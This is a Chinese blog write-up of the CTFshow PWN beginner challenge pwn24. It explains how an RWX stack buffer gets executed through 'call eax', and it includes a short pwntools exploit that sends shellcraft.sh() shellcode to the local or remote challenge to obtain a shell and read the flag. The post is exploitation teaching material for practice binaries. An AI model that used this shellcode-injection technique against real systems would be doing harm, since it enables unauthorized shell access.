深入分析CTFshow-PWN入门-pwn24的解法与原理

pwn24

image

检查文件信息

image

32位仅部分开启RELRO保护
可以看到存在一个RWX权限的段,即可读可写可执行的内存段
这一内存段使得我们输入进去的东西可以被执行,也是漏洞关键

image

直接IDA查看main函数发现有一个ctfshow函数,但是没有 c 语言代码

image

在 x86 架构中eax是一个通用寄存器,在函数调用和系统调用中扮演着重要角色
让我们详细分析在这个 ctfshow 函数中eax的使用情况

lea     eax, [ebp+buf]    ; 将缓冲区地址加载到 eax
push    eax               ; 将缓冲区地址压栈作为 read() 的参数
push    0                 ; 文件描述符0(stdin标准输入)
call    _read			  ; 将用户输入读进 eax 指向的地址上

……

lea     eax, [ebp+buf]    ; 再次加载缓冲区地址到 eax
push    eax               ; 将缓冲区地址压栈作为 puts() 的参数
call    _puts			  ; 将 eax 指向的地址上的内容打印出来
……

lea     eax, [ebp+buf]    ; 加载缓冲区地址到 eax
call    eax               ; 跳转到 eax 指向的地址执行代码

三次过程中,eax都临时储存了缓冲区上的一个地址[ebp+buf]
这个地址上存放了我们输入的内容,输入、输出、调用都用eax来指向那一片空间

总而言之,这段汇编代码就分为三个部分:

  1. 将用户输入读进buf
  2. 输出buf
  3. 调用buf

所以,只要输入获取 shell 权限的命令,程序就会执行,从而拿到 shell
这里我们直接构造 shellcode,一段精心构造的机器码(二进制指令)来获取 shell
题目也提示了可以使用 pwntools 库的shellcraft模块来进行攻击
这里的 shellcraft 可以生成各种功能的 shellcode,我们生成一个最简单的
shellcraft.sh()
生成出的 shellcode 是汇编代码,需要汇编成机器码才能运行,asm()是pwntools中一个核心函数,用于将汇编代码转换为机器码(二进制指令)
asm(shellcraft.sh())
这就是我们最终构造完让程序执行的命令
构造我们最终的 exp,与程序放在同一目录下

# -*- coding: utf-8 -*-							# 设置编码格式,用来在py2代码使用中文注释
from pwn import * 								# 导入 pwntools 库
context.log_level = 'debug' 					# 设置日志级别为调试模式
io = process('./pwn') 							# 本地连接
#io = remote("pwn.challenge.ctf.show", 28112) 	# 远程连接

shellcode = asm(shellcraft.sh()) 				# 生成一个 Shellcode
io.sendline(shellcode) 							# 将生成的 Shellcode 发送到目标主机

io.interactive() 								# 与目标主机进行交互

注释掉远程连接,使用本地连接,运行 python exp.py

image

pwd 命令可以正常运行,成功获得 shell
启动题目环境,在 exp 中远程连接处更改域名和端口(记得Ctrl+S保存新 exp)
注释掉本地连接,使用远程连接,再运行 python exp.py

image

成功拿到 shell,在catflag 文件,拿到 flag

posted @ 2025-08-06 20:05  Claire_cat  阅读(26)  评论(0)    收藏  举报